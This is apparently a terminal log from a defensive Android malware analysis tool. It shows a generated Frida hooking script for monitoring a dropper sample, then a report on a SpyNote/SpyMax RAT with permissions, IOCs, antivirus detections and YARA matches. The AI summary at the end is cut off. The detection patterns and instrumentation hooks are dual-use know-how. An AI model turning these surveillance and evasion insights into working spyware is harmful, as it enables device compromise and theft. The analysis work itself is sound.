); │

50
return this.
createSession
(params); │

51
}; │

52
console.
log
(
'[+] Hooked Package Installation'
); │

53
}
catch
(e) { │

54
console.
log
(
'[-] PackageInstaller hook failed: '
+ e); │

55
} │

56


57

// ========== HOOK 3: Window Overlay Attacks ========== │

58

// Captures overlay creation used for social engineering / phishing │

59
try { │

60
var WindowManager = Java.
use
(
'android.view.WindowManager'
); │

61

// WindowManager is an interface, hook the implementation │

62
var WindowManagerImpl = Java.
use
(
'android.view.WindowManagerImpl'
); │

63
WindowManagerImpl.addView.implementation =
function
(view, params) { │

64
console.
log
(
'[OVERLAY] WindowManager.addView called!'
); │

65
var lp = Java.
cast
(params, Java.
use
(
'android.view.WindowManager$LayoutParams'
)); │

66
console.
log
(
'[OVERLAY] Type: '
+ lp.type.value +
' (2038=TYPE_APPLICATION_OVERLAY)'
); │

67
console.
log
(
'[OVERLAY] Flags: '
+ lp.flags.value); │

68
console.
log
(
'[OVERLAY] View class: '
+ view.
getClass
().
getName
()); │

69
console.
log
(
'[OVERLAY] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │

70
this.
addView
(view, params); │

71
}; │

72
console.
log
(
'[+] Hooked WindowManager overlay'
); │

73
}
catch
(e) { │

74
console.
log
(
'[-] WindowManager hook failed: '
+ e); │

75
} │

76


77

// ========== HOOK 4: Location Tracking (Geofencing) ========== │

78

// Captures location queries used for victim profiling or geofence evasion │

79
try { │

80
var LocationManager = Java.
use
(
'android.location.LocationManager'
); │

81
LocationManager.getLastKnownLocation.implementation =
function
(provider) { │

82
var location = this.
getLastKnownLocation
(provider); │

83
console.
log
(
'[LOCATION] getLastKnownLocation provider: '
+ provider); │

84
if (location != null) { │

85
console.
log
(
'[LOCATION] Lat: '
+ location.
getLatitude
() +
' Lon: '
+ location.
getLongitude
()); │

86
} │

87
return location; │

88
}; │

89
console.
log
(
'[+] Hooked LocationManager'
); │

90
}
catch
(e) { │

91
console.
log
(
'[-] LocationManager hook failed: '
+ e); │

92
} │

93


94

// ========== HOOK 5: AlarmManager (Scheduled Tasks) ========== │

95

// Captures alarm-based scheduling used by AccessibilityService for periodic C2 polling │

96
try { │

97
var AlarmManager = Java.
use
(
'android.app.AlarmManager'
); │

98
AlarmManager.setExact.implementation =
function
(type, triggerAtMillis, operation) { │

99
console.
log
(
'[ALARM] setExact - Type: '
+ type +
', Trigger: '
+ triggerAtMillis); │

100
console.
log
(
'[ALARM] PendingIntent: '
+ operation); │

101
this.
setExact
(type, triggerAtMillis, operation); │

102
}; │

103
AlarmManager.setRepeating.implementation =
function
(type, triggerAtMillis, intervalMillis, operation) { │

104
console.
log
(
'[ALARM] setRepeating - Type: '
+ type +
', Interval: '
+ intervalMillis +
'ms'
); │

105
console.
log
(
'[ALARM] PendingIntent: '
+ operation); │

106
this.
setRepeating
(type, triggerAtMillis, intervalMillis, operation); │

107
}; │

108
AlarmManager.set.
overload
(
'int'
,
'long'
,
'android.app.PendingIntent'
).implementation =
function
(type, triggerAtMillis, operation) { │

109
console.
log
(
'[ALARM] set - Type: '
+ type +
', Trigger: '
+ triggerAtMillis); │

110
this.
set
(type, triggerAtMillis, operation); │

111
}; │

112
console.
log
(
'[+] Hooked AlarmManager'
); │

113
}
catch
(e) { │

114
console.
log
(
'[-] AlarmManager hook failed: '
+ e); │

115
} │

116


117

// ========== HOOK 6: Network Communications (C2 Discovery) ========== │

118

// Captures all HTTP connections to discover dynamically loaded C2 URLs │

119
try { │

120
var URL = Java.
use
(
'java.net.URL'
); │

121
URL.$init.
overload
(
'java.lang.String'
).implementation =
function
(url) { │

122
console.
log
(
'[NETWORK] URL created: '
+ url); │

123
if (url.
indexOf
(
'schemas.android.com'
) === -
1
&& url.
indexOf
(
'github.com'
) === -
1
) { │

124
console.
log
(
'[NETWORK] *** POTENTIAL C2 URL: '
+ url +
' ***'
); │

125
console.
log
(
'[NETWORK] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │

126
} │

127
return this.$
init
(url); │

128
}; │

129


130
var HttpURLConnection = Java.
use
(
'java.net.HttpURLConnection'
); │

131
HttpURLConnection.connect.implementation =
function
() { │

132
console.
log
(
'[NETWORK] HttpURLConnection.connect: '
+ this.
getURL
().
toString
()); │

133
this.
connect
(); │

134
}; │

135


136

// OkHttp (commonly used) │

137
try { │

138
var OkHttpClient = Java.
use
(
'okhttp3.OkHttpClient'
); │

139
var RealCall = Java.
use
(
'okhttp3.RealCall'
); │

140
RealCall.execute.implementation =
function
() { │

141
var request = this.
request
(); │

142
console.
log
(
'[OKHTTP] '
+ request.
method
() +
' '
+ request.url(
).
toString
()); │

143
var headers = request.
headers
(); │

144
for (var i =
0
; i < headers.
size
(); i++) { │

145
console.
log
(
'[OKHTTP] Header: '
+ headers.
name
(i) +
': '
+ headers.
value
(i)); │

146
} │

147
return this.
execute
(); │

148
}; │

149
}
catch
(e) {
/* OkHttp not present */
} │

150
console.
log
(
'[+] Hooked Network communications'
); │

151
}
catch
(e) { │

152
console.
log
(
'[-] Network hook failed: '
+ e); │

153
} │

154


155

// ========== HOOK 7: Reflection (Anti-Analysis/Dynamic Loading) ========== │

156

// Captures reflection calls that may be used to dynamically invoke dropper methods │

157
try { │

158
var Class = Java.
use
(
'java.lang.Class'
); │

159
Class.forName.
overload
(
'java.lang.String'
).implementation =
function
(name) { │

160
if (name.
indexOf
(
'com.tfapasswords'
) !== -
1
|| name.
indexOf
(
'dalvik'
) !== -
1
|| name.
indexOf
(
'dex'
) !== -
1
) { │

161
console.
log
(
'[REFLECTION] Class.forName: '
+ name); │

162
} │

163
return this.
forName
(name); │

164
}; │

165
console.
log
(
'[+] Hooked Reflection'
); │

166
}
catch
(e) { │

167
console.
log
(
'[-] Reflection hook failed: '
+ e); │

168
} │

169


170

// ========== HOOK 8: SharedPreferences (Encrypted Config) ========== │

171

// Captures access to PasswordEncryptedPreference which may store C2 config │

172
try { │

173
var SharedPreferences = Java.
use
(
'android.content.SharedPreferences'
); │

174
var Context = Java.
use
(
'android.content.Context'
); │

175
Context.getSharedPreferences.implementation =
function
(name, mode) { │

176
console.
log
(
'[PREFS] getSharedPreferences: '
+ name +
' mode: '
+ mode); │

177
return this.
getSharedPreferences
(name, mode); │

178
}; │

179
console.
log
(
'[+] Hooked SharedPreferences'
); │

180
}
catch
(e) { │

181
console.
log
(
'[-] SharedPreferences hook failed: '
+ e); │

182
} │

183


184

// ========== HOOK 9: Boot Receiver (Persistence) ========== │

185
try { │

186
var BootReceiver = Java.
use
(
'com.tfapasswords.app.Receivers.BootBroadcastReceiver'
); │

187
BootReceiver.onReceive.implementation =
function
(context, intent) { │

188
console.
log
(
'[PERSISTENCE] BootBroadcastReceiver.onReceive triggered!'
); │

189
console.
log
(
'[PERSISTENCE] Action: '
+ intent.
getAction
()); │

190
this.
onReceive
(context, intent); │

191
}; │

192
console.
log
(
'[+] Hooked BootBroadcastReceiver'
); │

193
}
catch
(e) { │

194
console.
log
(
'[-] BootBroadcastReceiver hook failed: '
+ e); │

195
} │

196


197

// ========== HOOK 10: File I/O (Payload Write) ========== │

198

// Captures file operations that may indicate payload being written to disk │

199
try { │

200
var FileOutputStream = Java.
use
(
'java.io.FileOutputStream'
); │

201
FileOutputStream.$init.
overload
(
'java.io.File'
).implementation =
function
(file) { │

202
var path = file.
getAbsolutePath
(); │

203
if (path.
indexOf
(
'.apk'
) !== -
1
|| path.
indexOf
(
'.dex'
) !== -
1
|| path.
indexOf
(
'.jar'
) !== -
1
) { │

204
console.
log
(
'[FILE] *** PAYLOAD WRITE: '
+ path +
' ***'
); │

205
console.
log
(
'[FILE] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │

206
} │

207
return this.$
init
(file); │

208
}; │

209
console.
log
(
'[+] Hooked FileOutputStream'
); │

210
}
catch
(e) { │

211
console.
log
(
'[-] FileOutputStream hook failed: '
+ e); │

212
} │

213


214

// ========== HOOK 11: Camera Access ========== │

215
try { │

216
var Camera = Java.
use
(
'android.hardware.Camera'
); │

217
Camera.open.
overload
(
'int'
).implementation =
function
(cameraId) { │

218
console.
log
(
'[CAMERA] Camera.open(id='
+ cameraId +
') - covert capture attempt!'
); │

219
return this.
open
(cameraId); │

220
}; │

221
console.
log
(
'[+] Hooked Camera'
); │

222
}
catch
(e) { │

223
console.
log
(
'[-] Camera hook failed: '
+ e); │

224
} │

225


226
console.
log
(
'[*] All Brunhilda dropper hooks installed successfully'
); │

227
console.
log
(
'[*] Monitor output for C2 URLs, payload delivery, and overlay attacks'
); │

228
}); │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Saving Reports...
✓ JSON
report
: reports/com_tfapasswords_app_20260330_111913.json
✓ Frida
script
: reports/com_tfapasswords_app_frida_hooks.js
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Analysis completed in
113.2s
JSON
Report
: reports/com_tfapasswords_app_20260330_111913.json
Frida
Script
: reports/com_tfapasswords_app_frida_hooks.js
11
:
19
:
13
(base) andrey
@andrey-lab
android_malware_analysis ±|main ✗|→ python analyzer.py analyze /home/andrey/git_project/android_malware_analysis/samples/spynote.apk
█████╗ ██████╗ ██╗ ██╗ █████╗ ███╗ ██╗ █████╗ ██╗ ██╗ ██╗███████╗██╗███████╗
██╔══██╗██╔══██╗██║ ██╔╝ ██╔══██╗████╗ ██║██╔══██╗██║ ╚██╗ ██╔╝██╔════╝██║██╔════╝
███████║██████╔╝█████╔╝ ███████║██╔██╗ ██║███████║██║ ╚████╔╝ ███████╗██║███████╗
██╔══██║██╔═══╝ ██╔═██╗ ██╔══██║██║╚██╗██║██╔══██║██║ ╚██╔╝ ╚════██║██║╚════██║
██║ ██║██║ ██║ ██╗ ██║ ██║██║ ╚████║██║ ██║███████╗██║ ███████║██║███████║
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚══════╝╚═╝╚══════╝
Android APK Analysis Tool | AI-Powered | v2.
0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Phase
1
: Static Analysis
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── File Information ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ File /home/andrey/git_project/android_malware_analysis/samples/spynote.apk │
│ Size
3868.3
KB (
3
,
961
,
188
bytes) │
│ MD5 b2c5e29222f57cf91d30d37b8ec54cc3 │
│ SHA256
7129
d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07 │
│ Package elimination.kitchen.secured │
│ App Name GoosApp │
│ Version
19.81
.
41.19
(
19814119
) │
│ SDK min=
21
target=
29

│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase
2
: Threat Indicator Scoring
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Threat Assessment ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Risk
Level
: 💀 CRITICAL (
85
/
100
) │
│ │
│ [██████████████████████████████████░░░░░░] │
│ │

Permissions
:
100
/
100


Behavior
:
100
/
100


Network
:
35
/
100


Obfuscation
:
0
/
100

│ │

Suspected
: Spyware/Stalkerware │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Threat Indicators
╭────────────┬──────────────────┬────────────────────────────────────┬──────────────────────────────────────────╮
│ Severity │ Category │ Indicator │ Evidence │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ CRITICAL │ API Behavior │ Suspicious
API
: Device Admin │ Landroid/app/admin/DeviceAdminReceiver;… │
│ │ │ │ (i │
│ │ │ │ Landroid/app/admin/DeviceAdminReceiver;… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ CRITICAL │ Permissions │ Dangerous Permission
Combo
: │ android.permission.RECORD_AUDIO │
│ │ │ Spyware/Stalkerware │ android.permission.ACCESS_FINE_LOCATION │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: READ_SMS │ android.permission.READ_SMS │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: SEND_SMS │ android.permission.SEND_SMS │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: │ android.permission.READ_CALL_LOG │
│ │ │ READ_CALL_LOG │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: RECORD_AUDIO │ android.permission.RECORD_AUDIO │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: │ android.permission.ACCESS_FINE_LOCATION │
│ │ │ ACCESS_FINE_LOCATION │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: │ android.permission.SYSTEM_ALERT_WINDOW │
│ │ │ SYSTEM_ALERT_WINDOW │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: GET_ACCOUNTS │ android.permission.GET_ACCOUNTS │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: │ android.permission.DISABLE_KEYGUARD │
│ │ │ DISABLE_KEYGUARD │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous
Permission
: │ android.permission.REQUEST_INSTALL_PACK… │
│ │ │ REQUEST_INSTALL_PACKAGES │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Window Overlay │ Landroid/view/WindowManager;->addView │
│ │ │ │ (in Landroid │
│ │ │ │ Landroid/view/WindowManager;->addView │
│ │ │ │ (in Landroid │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Dynamic Code │ Ljava/lang/ClassLoader;->loadClass (in │
│ │ │ Loading │ Landroidx/f │
│ │ │ │ Ljava/lang/ClassLoader;->loadClass (in │
│ │ │ │ Landroidx/f │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Accessibility │ Landroid/view/accessibility/Accessibili… │
│ │ │ Service │ Landroid/view/accessibility/Accessibili… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Native Execution │ Ljava/lang/Runtime;->exec (in │
│ │ │ │ Lelimination/kitchen │
│ │ │ │ Ljava/lang/Runtime;->exec (in │
│ │ │ │ Lelimination/kitchen │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Audio Recording │ Landroid/media/MediaRecorder;-><init> │
│ │ │ │ (in Lelimina │
│ │ │ │ Landroid/media/MediaRecorder;->setOutpu… │
│ │ │ │ (in L │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: SMS Operations │ Landroid/telephony/SmsManager;->sendTex… │
│ │ │ │ (i │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Network │ Hardcoded IP Addresses │
1.0
.
0.1

│ │ │ │
1.1
.
1.1

├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Overlay/Keylog │ Overlay/Keylogger Strings │ overlay │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: CAMERA │ android.permission.CAMERA │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.READ_CONTACTS │
│ │ │ READ_CONTACTS │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.READ_EXTERNAL_STORAGE │
│ │ │ READ_EXTERNAL_STORAGE │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.WRITE_EXTERNAL_STORA… │
│ │ │ WRITE_EXTERNAL_STORAGE │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: WAKE_LOCK │ android.permission.WAKE_LOCK │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.RECEIVE_BOOT_COMPLET… │
│ │ │ RECEIVE_BOOT_COMPLETED │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.FOREGROUND_SERVICE │
│ │ │ FOREGROUND_SERVICE │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.READ_PHONE_STATE │
│ │ │ READ_PHONE_STATE │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.CHANGE_WIFI_STATE │
│ │ │ CHANGE_WIFI_STATE │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Reflection │ Ljava/lang/reflect/Method;->invoke (in │
│ │ │ │ Landroidx/a │
│ │ │ │ Ljava/lang/reflect/Method;->invoke (in │
│ │ │ │ Landroidx/a │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Location Tracking │ Landroid/location/LocationManager;->get… │
│ │ │ │ Landroid/location/LocationManager;->req… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Camera Access │ Landroid/hardware/Camera;->getParameters │
│ │ │ │ (in Lelim │
│ │ │ │ Landroid/hardware/Camera;->open (in │
│ │ │ │ Lelimination/k │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ LOW │ API Behavior │ Suspicious
API
: Cryptography │ Ljavax/crypto/spec/SecretKeySpec;-><ini… │
│ │ │ │ (in Leli │
│ │ │ │ Ljavax/crypto/Cipher;->doFinal (in │
│ │ │ │ Lelimination/ki │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ INFO │ API Behavior │ Suspicious
API
: Network │ Ljava/net/SocketImpl;-><init> (in │
│ │ │ Communication │ Landroidx/core/n │
│ │ │ │ Ljava/net/Socket;-><init> (in │
│ │ │ │ Landroidx/core/net/D │
╰────────────┴──────────────────┴────────────────────────────────────┴──────────────────────────────────────────╯
Permissions (
31
total)

Permission Risk
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
android.permission.ACCESS_COARSE_LOCATION MEDIUM
android.permission.ACCESS_FINE_LOCATION CRITICAL
android.permission.CALL_PHONE MEDIUM
android.permission.CAMERA MEDIUM
android.permission.CHANGE_WIFI_STATE MEDIUM
android.permission.DISABLE_KEYGUARD HIGH
android.permission.FOREGROUND_SERVICE MEDIUM
android.permission.GET_ACCOUNTS HIGH
android.permission.READ_CALL_LOG HIGH
android.permission.READ_CONTACTS CRITICAL
android.permission.READ_EXTERNAL_STORAGE MEDIUM
android.permission.READ_PHONE_STATE MEDIUM
android.permission.READ_SMS HIGH
android.permission.RECEIVE_BOOT_COMPLETED MEDIUM
android.permission.RECORD_AUDIO CRITICAL
android.permission.REQUEST_INSTALL_PACKAGES HIGH
android.permission.SEND_SMS HIGH
android.permission.SYSTEM_ALERT_WINDOW HIGH
android.permission.WAKE_LOCK MEDIUM
android.permission.WRITE_EXTERNAL_STORAGE MEDIUM
android.permission.ACCESS_NETWORK_STATE INFO
android.permission.ACCESS_WIFI_STATE INFO
android.permission.INTERNET INFO
android.permission.REQUEST_DELETE_PACKAGES INFO
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS INFO
android.permission.SET_WALLPAPER INFO
android.permission.USE_FULL_SCREEN_INTENT INFO
com.android.alarm.permission.SET_ALARM INFO
com.huawei.permission.external_app_settings.USE_COMPONENT INFO
oplus.permission.OPLUS_COMPONENT_SAFE INFO
...
and

1
more normal permissions INFO

Network IOCs

Type Value
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
IP
1.0
.
0.1

IP
1.1
.
1.1

IP
8.8
.
4.4

IP
8.8
.
8.8

IP
362.0
.
0.27

Domain schemas.android.com
URL
http
:
//schemas.android.com/apk/res/android

Semantic Component Analysis (
3
findings)

Severity Component Capability MITRE Name
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CRITICAL receiver Device Administrator Abuse T1629 AdminReceiver
HIGH string Webinject/Overlay Terms T1417 Overlay
HIGH string Root/Superuser Access T1626 Root

Rule-based family
inference
: Banking Trojan / RAT (
confidence
:
60%
)
Phase
2
c
: VirusTotal Lookup
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── VirusTotal Report ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Detection
29
/
76
(
29
malicious,
0
suspicious,
37
clean) │
│ Threat Label trojan.spymax/spynote │
│ Families spymax, spynote, andr │
│ File Type Android │
│ Common Name
7129
d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07.apk │
│ First Seen
2024
-
03
-
10

│ Last Analyzed
2025
-
11
-
18

│ Submissions
19
submissions /
7
unique sources │
│ Tags [apk] [telephony] [android] [sends-sms] [reflection] [detect-debug-environment] [checks-gps] │
│ VT Link
https
:
//www.virustotal.com/gui/file/7129d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07 │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Submitted As ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

7129
d6c57182f4e53a4fd0f6aac15de30ffc5bfa34bc639a19ee39d2856b3c07.apk |
1
.apk | ta0w2mi9g.exe | sample_01.apk | GoosApp_base.apk │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
AV Engine Detections —
29
malicious /
0
suspicious /
76
total
╭──────────────────────┬───────────────────────────────────────┬──────────────╮
│ Engine │ Detection Name │ Verdict │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ DrWeb │ Android.SpyMax.
291
│ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ ESET-NOD32 │ Android/Spy.SpyMax.T trojan │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ F-Secure │ Malware.ANDROID/SpyMax.FHPV.Gen │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Fortinet │ Android/SpyMax.EV!tr │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Kaspersky │
HEUR
:Trojan-Banker.AndroidOS.Agent.ws │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Sophos │ Andr/Xgen2-AOO │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Symantec │ Trojan.Gen.MBT │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ AhnLab-V3 │ Trojan/Android.SpyNM.
1254825
│ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Alibaba │
TrojanSpy
:Android/Spynote.
374
f212d │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Avast-Mobile │
Android
:Evo-gen [Trj] │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Avira │ ANDROID/SpyMax.FHPV.Gen │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ BitDefenderFalx │ Android.Trojan.SpyAgent.LZ │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ CTX │ apk.trojan.spymax │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Cynet │ Malicious (
score
:
99
) │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Google │ Detected │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Ikarus │ Trojan-Spy.AndroidOS.Spymax │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ K7GW │ Trojan (
005
a5d9c1 ) │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Kingsoft │ Android.Troj.SpyMax.e │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ Lionic │ Trojan.AndroidOS.SpyMax.C!c │ MALICIOUS │
├──────────────────────┼───────────────────────────────────────┼──────────────┤
│ NANO-Antivirus │ Trojan.Android.SpyMax.kklyjl │ MALICIOUS │
╰──────────────────────┴───────────────────────────────────────┴──────────────╯
Sandbox Verdicts

Sandbox Verdict Malware Names
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Zenbox android MALICIOUS SpyNote
Phase
3
: YARA Scanning

YARA
:
3

rule
(s) matched
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

Rule
: Dropper_DexClassLoader │

Desc
: Dynamic DEX loading - dropper/loader behavior │

Category
: Dropper │

MITRE
: T1544 │

Matched
: DexClassLoader, http, https │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

Rule
: SMSFraud_PremiumRate │

Desc
: SMS fraud sending to premium rate numbers │

Category
: Financial Fraud │

MITRE
: T1582 │

Matched
: sendTextMessage, SmsManager │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

Rule
: AntiAnalysis_EmulatorCheck │

Desc
: Anti-analysis emulator detection │

Category
: Evasion │

MITRE
: T1633 │

Matched
: goldfish, Genymotion, Android SDK │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase
4
: AI Analysis (Claude/claude-opus-
4
-
6
)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── AI Analysis Results ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

Classification
: RAT |
Family
: SpyNote/SpyMax |
Confidence
: High │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Executive Summary ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ This is a SpyNote/SpyMax Remote Access Trojan (RAT) disguised as
'GoosApp'
. It provides an attacker with complete remote control over an infected Android device including real-time audio surveillance, SMS interception (including banking OTPs), camera access, GPS tracking, keystroke logging via accessibility │
│ services,
and
